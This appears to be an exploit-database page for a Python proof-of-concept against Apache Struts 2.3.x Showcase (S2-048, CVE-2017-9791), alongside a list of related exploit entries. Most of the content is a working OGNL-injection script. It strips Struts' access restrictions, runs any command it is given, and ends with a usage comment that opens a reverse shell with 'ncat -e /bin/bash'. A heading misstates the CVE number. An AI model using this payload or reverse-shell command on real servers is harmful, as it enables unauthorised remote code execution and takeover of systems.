Apache Struts 2.3.x Showcase Remote Code Execution

🗓️ 14 Jul 2017 00:00:00Reported by Vex WooType

packetstorm🔗 packetstormsecurity.com👁 99 Views

Apache Struts 2.3.x Showcase Remote Code Execution demo for CVE-2017-979

Reporter	Title	Published	Views	Family All 59
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	23 Feb 201812:32	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	13 Sep 202011:52	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	21 Oct 202022:39	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	11 Mar 202001:42	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	9 Oct 201917:20	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	26 May 202023:42	–	gitee
Gitee	Exploit for Improper Input Validation in Joomla Joomla\!	27 Jul 202503:43	–	gitee
0day.today	Apache Struts 2.3.x Showcase - Remote Code Execution (PoC) Exploit	14 Jul 201700:00	–	zdt
0day.today	Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution Exploit	18 May 201800:00	–	zdt
IBM Security Bulletins	Security Bulletin: Apache Struts Vulnerability CVE-2017-9791 will not affect PSS products	18 Jun 201801:37	–	ibm

`#!/usr/bin/python  
# -*- coding: utf-8 -*-  
  
# Just a demo for CVE-2017-9791  
  
  
import requests  
  
  
def exploit(url, cmd):  
print("[+] command: %s" % cmd)  
  
payload = "%{"  
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."  
payload += "(#_memberAccess?(#_memberAccess=#dm):"  
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."  
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."  
payload += "(#ognlUtil.getExcludedPackageNames().clear())."  
payload += "(#ognlUtil.getExcludedClasses().clear())."  
payload += "(#context.setMemberAccess(#dm))))."  
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd  
payload += "}"  
  
data = {  
"name": payload,  
"age": 20,  
"__checkbox_bustedBefore": "true",  
"description": 1  
}  
  
headers = {  
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'  
}  
requests.post(url, data=data, headers=headers)  
  
  
if __name__ == '__main__':  
import sys  
  
if len(sys.argv) != 3:  
print("python %s <url> <cmd>" % sys.argv[0])  
sys.exit(0)  
  
print('[*] exploit Apache Struts2 S2-048')  
url = sys.argv[1]  
cmd = sys.argv[2]  
  
exploit(url, cmd)  
  
# $ ncat -v -l -p 4444 &  
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"  
  
`

14 Jul 2017 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.94127